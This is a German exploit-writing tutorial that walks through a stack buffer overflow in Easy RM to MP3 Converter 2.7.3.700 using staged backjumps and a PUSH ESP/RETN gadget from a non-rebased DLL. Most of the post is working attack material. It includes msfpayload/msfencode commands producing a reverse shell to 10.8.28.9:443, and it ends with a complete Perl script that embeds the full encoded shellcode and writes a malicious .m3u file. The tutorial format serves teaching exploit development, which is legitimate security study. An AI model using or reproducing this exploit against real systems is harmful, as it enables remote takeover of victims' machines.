no one is safe ...

Fancy backjumps for Peters first Exploiting Tutorial [Update 05.09.2010]

Im ersten Tutorial von Peter auf corelan.be wird der Buffer, der direkt durch das ESP Register erreichbar ist, verwendet um dort den Shellcode zu platzieren:


Im Proof of Concept schaut das folgendermaßen aus:

my $junk= "\x41" x 26056 . "\x27\x3b\xbd\x01" . "\x90" x 10 . "\x44" x 1930;

Es werden also die 1930 Byte ("\x44") verwendet um dort den Shellcode zu platzieren.

Das folgende Tutorial baut auf diesem Tutorial auf und jeder sollte nach dem Tutorial von Peter bereits einen funktionalen Exploit erstellt haben! Ich werde nicht weiter auf die Ermittlung der Position von EIP usw. eingehen.

Wir gehen nun davon aus, dass dieser Buffer, aus welchen Gründen auch immer, nicht verwendbar ist und wir auf den Buffer davor ("\x41") ausweichen müssen. Als weitere Herausforderung steht kein sehr großen Bereich für den ersten Befreiungsakt zur Verfügung. Wir nehmen hier 2 Bytes an.

Das schaut dann ca. folgendermaßen aus:

my $junk= "\x41" x 26056 .
"\x27\x3b\xbd\x01" . # call esp
"\x90" x 4 . # some garbage
"\x90\x90" . # 2 bytes for our first stage
"\x00" x 1934; # not usable buffer


DLL rebased Problematik:

Um unseren Buffer überhaupt erst zu erreichen verwendeten wir ein JMP oder CALL ESP aus der msrmcoodec02.dll. Diese DLL wird allerdings Rebased, was soviel bedeutet wie diese Adresse ist nicht verlässlich da diese DLL bei einem erneuten Ladevorgang evtl. an einer neuen Position im Speicher landet.

Folgender Versuch:

Starten Sie den "Easy RM to MP3 Converter" erst im Debugger (File -> Open), lassen sie den Converter laufen und suchen sie nun die msrmccodec02.dll nach dem JMP und CALL ESP ab und notieren Sie die Position von JMP ESP und CALL ESP:

#msrmccodec02.dll
##inside debugger started
#01D2F23A   FFE4             JMP ESP
#01BD3B27   FFD4             CALL ESP

Im nächsten Schritt starten Sie erst den Converter und "attachen" ihn im zweiten Schritt an den Debugger (File -> Attach). Nach einer erneuten Suche der beiden Funktionen vergleichen Sie die Speicheradressen.

#msrmccodec02.dll
##first started – debugger attached
#01D1F23A   FFE4             JMP ESP
#01BF3F0F   FFD4             CALL ESP

Diese Unterschiede machen klar dass hier etwas vorgeht (DLL rebase) was die ausgewählten Adressen nicht sehr verlässlich macht. Wir benötigen allerdings einen verlässlichen Weg um zu unserem Buffer zu kommen.

============ Update - thx to smtx ============

Mit dem Immunity Debugger + pvefindaddr lässt sich relativ einfach und unkompliziert herausfinden ob eine DLL rebased wird oder nicht:
<smtx> pvefindaddr j -r esp -n -o
<smtx> der sucht dir alle jmp/call/blafoo dinger die equivalent zu "jmp esp" sind also auch "push esp; ret" usw.
<smtx> -n <-- keine addressen mit null-bytes
<smtx> -o <-- nichts im operating-system-directory also fuer den fall dass safeSEH/aslr usw. aktiv waeren nimmt man ja immer nur die dlls von der anwendung weil die u.U. ohne diese securityfeatures compiled wurde
<smtx> dann kriegste ne textdatei j.txt im ordner von immunity
<smtx> da stehen alle jmp/call/bla dinger drin
<smtx> und dann noch ob aslr/safeseh/sonstwas aktiv ist
<smtx> und unter anderem *jetz wirds interessant* ob die dll sich rebased oder nicht
<smtx> da steht dann sowas bei nem treffer
<smtx> Found push esp – ret at 0x1001B058 [msrmfilter03.dll] ** {PAGE_EXECUTE_READ} [SafeSEH: ** NO ** - ASLR: ** No (Probably not) **] [Fixup: ** NO **] – C:\Programme\Easy RM to MP3 Converter\MSRMfilter03.dll
<smtx>     "Fixup: ** NO **"
<smtx> das heisst die dll wird nicht rebased
<smtx> sie kann nur an ihrer gewuenschten addresse geladen werden ansonsten sorgt sie dafuer das des programm abstuerzt (somit ist die ein sicherer kandidat)

============ Update - thx to smtx ============

Prinzipiell müssen wir die Adresse von ESP (dort liegt unser Buffer) in irgendeiner Form in EIP (nächste auszuführende Aktion) bekommen. Ein JMP/CALL ESP ist eine einfache Möglichkeit die allerdings in keiner uns zur Verfügung stehenden DLLs vorhanden ist. Eine weitere Möglichkeit wäre beispielsweise ein "PUSH ESP" welches die Adresse von ESP auf den Stack schreibt und ein anschließendes "RETN" welches diese Adresse direkt in EIP befördert.

Wir durchsuchen somit die restlichen geladenen DLLs auf diese Funktion und testen mit dieser Funktion gleich ob die DLL rebased wird oder nicht.

In msrmfilter03.dll werden wir fündig:

##msrmfilter03.dll - no dll rebase
#1001B058   54               PUSH ESP
#1001B059   C3               RETN

Nun muss nur die Adresse von JMP/CALL ESP mit der neuen Adresse von PUSH ESP ausgetauscht werden und wir sollten in weiterer Folge einen verlässlichen Exploit erhalten.

my $junk= "\x41" x 26056 . # buffer
"\x58\xb0\x01\x10" . # push esp, retn
"\x90" x 4 . # garbage
"\x90" x 2 . # our first stage
"\x00" x 1934; # buffer - we are not using this one

Durch setzen eines Breakpoints an der Adresse des PUSH ESP (1001B058) lässt sich der Push mit anschließendem Return und dem damit verbundenen Sprung in unseren Buffer sehr gut am Stack erkennen.




Stage 1:

Wie bereits dargestellt sind wir nun in einem sehr engen Eck gelandet und haben nur 2 Bytes zur Verfügung um hier heraus zu kommen. Ein einfacher Backjump [1] [2] bringt uns zwar nur ein paar weitere Bytes die noch nicht ausreichen um an der Stelle an der wir landen einen vollständigen Shellcode zu platzieren aber der gewonnene Platz reicht aus um eine weitere Stage zu platzieren.

Ein relativer Short Jump benötigt genau diese 2 Bytes und verschafft uns weiteren Platz.


Durch Rechtsklick und Binary Edit lässt sich dieser Vorgang direkt im Debugger erst testen. Im Anschluss wird der Exploit folgendermaßen angepasst:

my $junk= "\x41" x 25926 . # more buffer orig size 26056
"\x90" x 130 . # 2nd stage
"\x58\xb0\x01\x10" . # push esp, retn
"\x90" x 4 . # garbage
"\xeb\x80" . # 1st stage - backjump
"\x00" x 1934; # buffer - not usable


Stage 2:

Die 2nd Stage simulieren wir einstweilen mit einer Reihe von Nops. Nach Neustart des Converters, setzen des Breakpoints und anschl. schrittweisen abarbeiten des Codes (F7) ist erkennbar dass wir sanft in Mitten unserer Nops landen. Von diesem Landepunkt aus haben wir genug Platz (ca. 110 Bytes) für einen weiteren "Befreiungssprung" der uns noch weiter zurück im Buffer befördert.

Für diese zweite Stage gibt es nun verschiedene Möglichkeiten:

  • Relativer Sprung zurück im Buffer (siehe Exploit: http://pastebin.com/46nT8aCj)
  • Verringern von ESP und anschl. Sprung zu ESP
  • Einen Egghunter platzieren

Egal welche Methode genutzt wird, Spaß machen sie alle drei. ;) Wir werden im weiteren Verlauf die Methode über ESP umsetzen.

Um von ESP beispielsweise 900 Bytes abzuziehen lässt sich "SUB ESP,384" einsetzen. Dies bringt allerdings das Problem mit sich dass unser Buffer Nullbytes enthält:

000FFCC0   81EC 84030000    SUB ESP,384
000FFCC6   FFE4             JMP ESP

Diese Nullbytes würden unseren Buffer zerstören und ihn somit unbrauchbar machen. Wir könnten diesen Code mit msfencode codieren um dadurch die Nullbytes zu verhindern:

#msfencode -e x86/alpha_mixed -b '\x00' -t perl -i esp-backjump.bin
#[*] x86/alpha_mixed succeeded with size 77 (iteration=1)

$backjump =
"\x89\xe2\xd9\xce\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x4f\x71\x48\x6c\x4c\x44\x43\x33\x45\x50\x45" .
"\x50\x49\x6f\x48\x64\x41\x41";

Dabei ist aber auch erkennbar, dass der benötigte Code um ein vielfaches anwächst -> 77 Bytes! Dies stellt zwar in dem dargestellten Beispiel kein Problem dar, da wir genug Platz in der zweiten Stage haben. Typischerweise sollte allerdings möglichst wenig Code verwendet werden. Ein "SUB ESP,384" lässt sich auch etwas anders darstellen:

000FFCC0   81C4 7CFCFFFF    ADD ESP,-384
000FFCC6   FFE4             JMP ESP

Wie hier erkennbar ist, beinhaltet unser neuer Code keine Nullbytes mehr und ist mit einem Platzbedarf von nur 8 Bytes auch in relativ kleinen Speicherbereichen einsetzbar. Ein direkter Jump (ohne den Umweg über ESP) würde hier noch weniger Platz benötigen, allerdings müssten im Anschluss die Register angepasst werden.
Nach dem bereits durchgeführten Binary Edit und einem ersten Test direkt im Debugger bauen wir diese Funktion in den bestehenden Exploit ein:


my $junk= "\x41" x 25926 . # more buffer orig size 26056
"\x90" x 20 . # 2nd stage start - safe landing area
"\x81\xc4\x7c\xfc\xff\xff\xff\xe4" . # add esp,384 - jmp esp
"\x90" x 102 . # padding - 2nd stage size ~ 110 bytes (sum 130 bytes)
"\x58\xb0\x01\x10" . # push esp, retn
"\x90" x 4 . # garbage
"\xeb\x80" . # 1st stage - backjump
"\x00" x 1934; # buffer - not usable

Wenn wir uns hier nicht verrechnet haben sollten wir in einem wunderbaren Buffer mit über 700 Bytes Platz landen. Diesen Platz füllen wir im nächsten Schritt erst mit Nops aus und testen ihn:


Stage 3:

my $junk= "\x41" x 25126 . # more buffer orig size 26056
"\x90" x 800 . # Shellcode
"\x90" x 20 . # 2nd stage start
"\x81\xc4\x7c\xfc\xff\xff\xff\xe4" . # add esp,384 - jmp esp
"\x90" x 102 . # 2nd stage size ~ 110 bytes (sum 130 bytes)
"\x58\xb0\x01\x10" . # push esp, retn
"\x90" x 4 . # garbage
"\xeb\x80" . # 1st stage - backjump
"\x00" x 1934; # buffer - not usable

msfpayload
Für die Erstellung des Payloads greifen wir auf das Metasploit Framework zurück und nutzen hierfür msfpayload. Da es sich bei dem dargestellten Angriff um eine Client Side Attack handelt sollte hierfür eine Reverse Shell zum Einsatz kommen. Diese Reverse Shell verbindet sich eigenständig vom Clientsystem zum Angreifer zurück und umgeht dadurch Firewallsysteme die ausschließlich eingehenden Traffic analysieren.

./msfpayload windows/shell_reverse_tcp LHOST=10.8.28.9 LPORT=443 C
/*
* windows/shell_reverse_tcp - 314 bytes
* http://www.metasploit.com
* AutoRunScript=, LHOST=10.8.28.9, EXITFUNC=process,
* InitialAutoRunScript=, LPORT=443, ReverseConnectRetries=5
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
<snip>
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

An dem erstellten Payload ist auf einen Blick erkennbar dass er wohl nicht funktionell sein wird da er Nullbytes enthält! In Kombination mit msfencode lässt sich dieser Payload so codieren, dass keine Nullbytes mehr vorkommen und er somit einsetzbar ist.

msfencode
Über "msfencode -h" lässt sich die kurze Hilfe anzeigen:

root@bt:~# /opt/metasploit34-dev/msf3/msfencode -h

    Usage: /opt/metasploit34-dev/msf3/msfencode <options>

OPTIONS:

    -a <opt>  The architecture to encode as
    -b <opt>  The list of characters to avoid: '\x00\xff'
    -c <opt>  The number of times to encode the data
    -e <opt>  The encoder to use
    -h        Help banner
    -i <opt>  Encode the contents of the supplied file path
    -k        Keep template working; run payload in new thread (use with -x)
    -l        List available encoders
    -m <opt>  Specifies an additional module search path
    -n        Dump encoder information
    -o <opt>  The output file
    -p <opt>  The platform to encode for
    -s <opt>  The maximum size of the encoded data
    -t <opt>  The format to display the encoded buffer with (c, dll, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
    -x <opt>  Specify an alternate win32 executable template

Mit "msfencode -l" lassen sich die vorhanden Encoder auflisten:

root@bt:~# /opt/metasploit34-dev/msf3/msfencode -l

Framework Encoders
==================

    Name                    Rank       Description
    ----                    ----       -----------
    cmd/generic_sh          good       Generic Shell Variable Substitution Command Encoder
<snip>
    x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
<snip>
    x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit   manual     Single Static Bit
    x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

Im weiteren Verlauf wird der "x86/alpha_mixed" Encoder eingesetzt. Dieser Encoder ist ein sehr einfacher Encoder der relativ große Payloads erstellt. Da in dem dargestellten Fall ausreichend Platz vorhanden ist, stellt dies kein größeres Problem dar. Ist der Platz für den Shellcode allerdings wesentlich kleiner sollten an dieser Stelle weitere Encoder getestet werden.

root@bt:~# /opt/metasploit34-dev/msf3/msfpayload windows/shell_reverse_tcp LHOST=10.8.28.9 LPORT=443 R | /opt/metasploit34-dev/msf3/msfencode -e x86/alpha_mixed -b "\x00" -t perl
[*] x86/alpha_mixed succeeded with size 690 (iteration=1)

my $buf =
"\xdd\xc1\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a" .
<snip>
"\x4b\x4b\x4b\x50\x42\x55\x46\x65\x4f\x4b\x43\x77\x46\x73" .
"\x44\x32\x50\x6f\x43\x5a\x43\x30\x46\x33\x4b\x4f\x4a\x75" .
"\x44\x4a\x41\x41";


Fertiger Exploit:

Der Exploit wird ein letztes Mal angepasst und abschließend im Debugger und ohne Debugger getestet:

my $junk= "\x41" x 25126 . # more buffer orig size 26056
"\x90" x 60 . # Shellcode landing area
$shellcode . # shellcode - 690 bytes
"\x90" x 50 . # padding - Shellcode - orig size 800
"\x90" x 20 . # 2nd stage start
"\x81\xc4\x7c\xfc\xff\xff\xff\xe4" . # add esp,384 - jmp esp
"\x90" x 102 . # 2nd stage size ~ 110 bytes (sum 130 bytes)
"\x58\xb0\x01\x10" . # push esp, retn
"\x90" x 4 . # garbage
"\xeb\x80" . # 1st stage - backjump
"\x00" x 1934; # buffer - not usable


####################################################################################################################
#
# Easy RM to MP3 Converter Version 2.7.3.700 2006.09.29 - local exploit with the usage of some fancy backjumps
# thx a lot to peter from corelan for his tut and his help to get this exploit working :)
# visit ... http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial... have fun
#
# m-1-k-3 (http://www.s3cur1ty.de)
#
####################################################################################################################

my $file= "crash.m3u";

#msfpayload windows/shell_reverse_tcp LHOST=10.8.28.9 LPORT=443 R | /opt/metasploit34-dev/msf3/msfencode -e x86/alpha_mixed -b "\x00" -t perl
#[*] x86/alpha_mixed succeeded with size 690 (iteration=1)

$shellcode =
"\xdd\xc1\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a" .
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42" .
"\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75" .
"\x4a\x49\x4b\x4c\x48\x68\x4c\x49\x43\x30\x47\x70\x43\x30" .
"\x45\x30\x4f\x79\x4a\x45\x50\x31\x49\x42\x43\x54\x4c\x4b" .
"\x50\x52\x46\x50\x4e\x6b\x43\x62\x46\x6c\x4c\x4b\x42\x72" .
"\x45\x44\x4e\x6b\x51\x62\x51\x38\x44\x4f\x48\x37\x51\x5a" .
"\x51\x36\x46\x51\x4b\x4f\x50\x31\x4f\x30\x4c\x6c\x45\x6c" .
"\x43\x51\x43\x4c\x47\x72\x44\x6c\x45\x70\x4a\x61\x48\x4f" .
"\x44\x4d\x47\x71\x49\x57\x49\x72\x4a\x50\x42\x72\x51\x47" .
"\x4e\x6b\x42\x72\x46\x70\x4e\x6b\x42\x62\x47\x4c\x43\x31" .
"\x48\x50\x4e\x6b\x43\x70\x50\x78\x4e\x65\x4b\x70\x51\x64" .
"\x50\x4a\x43\x31\x4e\x30\x42\x70\x4c\x4b\x47\x38\x42\x38" .
"\x4e\x6b\x42\x78\x47\x50\x47\x71\x4b\x63\x4b\x53\x47\x4c" .
"\x50\x49\x4e\x6b\x44\x74\x4c\x4b\x47\x71\x48\x56\x50\x31" .
"\x4b\x4f\x45\x61\x49\x50\x4c\x6c\x4f\x31\x4a\x6f\x46\x6d" .
"\x46\x61\x4a\x67\x50\x38\x4b\x50\x51\x65\x48\x74\x45\x53" .
"\x51\x6d\x48\x78\x45\x6b\x51\x6d\x45\x74\x51\x65\x4a\x42" .
"\x42\x78\x4e\x6b\x51\x48\x45\x74\x46\x61\x4e\x33\x51\x76" .
"\x4c\x4b\x46\x6c\x42\x6b\x4e\x6b\x42\x78\x47\x6c\x47\x71" .
"\x48\x53\x4c\x4b\x43\x34\x4e\x6b\x46\x61\x4a\x70\x4c\x49" .
"\x51\x54\x47\x54\x44\x64\x43\x6b\x51\x4b\x43\x51\x43\x69" .
"\x51\x4a\x43\x61\x49\x6f\x49\x70\x43\x68\x43\x6f\x50\x5a" .
"\x4e\x6b\x46\x72\x4a\x4b\x4d\x56\x43\x6d\x42\x48\x44\x73" .
"\x50\x32\x43\x30\x47\x70\x43\x58\x44\x37\x50\x73\x47\x42" .
"\x43\x6f\x51\x44\x43\x58\x50\x4c\x51\x67\x44\x66\x44\x47" .
"\x49\x6f\x49\x45\x4d\x68\x4a\x30\x43\x31\x45\x50\x43\x30" .
"\x44\x69\x48\x44\x43\x64\x42\x70\x50\x68\x46\x49\x4b\x30" .
"\x50\x6b\x43\x30\x4b\x4f\x48\x55\x50\x50\x42\x70\x42\x70" .
"\x46\x30\x47\x30\x50\x50\x43\x70\x42\x70\x43\x58\x48\x6a" .
"\x46\x6f\x4b\x6f\x4b\x50\x4b\x4f\x49\x45\x4d\x59\x48\x47" .
"\x42\x48\x44\x4a\x46\x68\x47\x6c\x44\x49\x43\x58\x43\x32" .
"\x43\x30\x46\x61\x4f\x4b\x4c\x49\x4b\x56\x43\x5a\x42\x30" .
"\x51\x46\x46\x37\x51\x78\x4a\x39\x49\x35\x51\x64\x50\x61" .
"\x4b\x4f\x48\x55\x45\x38\x45\x33\x50\x6d\x45\x34\x43\x30" .
"\x4b\x39\x48\x63\x43\x67\x46\x37\x42\x77\x44\x71\x49\x66" .
"\x42\x4a\x47\x62\x42\x79\x43\x66\x4d\x32\x4b\x4d\x43\x56" .
"\x48\x47\x42\x64\x45\x74\x45\x6c\x45\x51\x45\x51\x4c\x4d" .
"\x43\x74\x47\x54\x44\x50\x49\x56\x45\x50\x51\x54\x43\x64" .
"\x42\x70\x46\x36\x46\x36\x46\x36\x43\x76\x43\x66\x50\x4e" .
"\x46\x36\x50\x56\x50\x53\x50\x56\x51\x78\x50\x79\x4a\x6c" .
"\x47\x4f\x4c\x46\x4b\x4f\x48\x55\x4b\x39\x49\x70\x50\x4e" .
"\x43\x66\x47\x36\x4b\x4f\x50\x30\x45\x38\x44\x48\x4b\x37" .
"\x45\x4d\x43\x50\x4b\x4f\x4b\x65\x4f\x4b\x4c\x30\x48\x35" .
"\x4d\x72\x50\x56\x42\x48\x4c\x66\x4a\x35\x4d\x6d\x4f\x6d" .
"\x4b\x4f\x4e\x35\x47\x4c\x43\x36\x43\x4c\x44\x4a\x4d\x50" .
"\x4b\x4b\x4b\x50\x42\x55\x46\x65\x4f\x4b\x43\x77\x46\x73" .
"\x44\x32\x50\x6f\x43\x5a\x43\x30\x46\x33\x4b\x4f\x4a\x75" .
"\x44\x4a\x41\x41";

my $junk= "\x41" x 25126 . # more buffer orig size 26056
"\x90" x 60 . # Shellcode landing area
$shellcode . # shellcode - 690 bytes
"\x90" x 50 . # padding - Shellcode - orig size 800
"\x90" x 20 . # 2nd stage start
"\x81\xc4\x7c\xfc\xff\xff\xff\xe4" .
"\x90" x 102 . # 2nd stage size ~ 110 bytes (sum 130 bytes)
"\x58\xb0\x01\x10" . # push esp, retn
"\x90" x 4 . # garbage
"\xeb\x80" . # 1st stage - backjump
"\x00" x 1934; # buffer - not usable

open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";

#1001B058   54               PUSH ESP
#1001B059   C3               RETN

Vielen Dank an Peter und 5M7X für die Unterstützung ...

Viel Spaß
mIke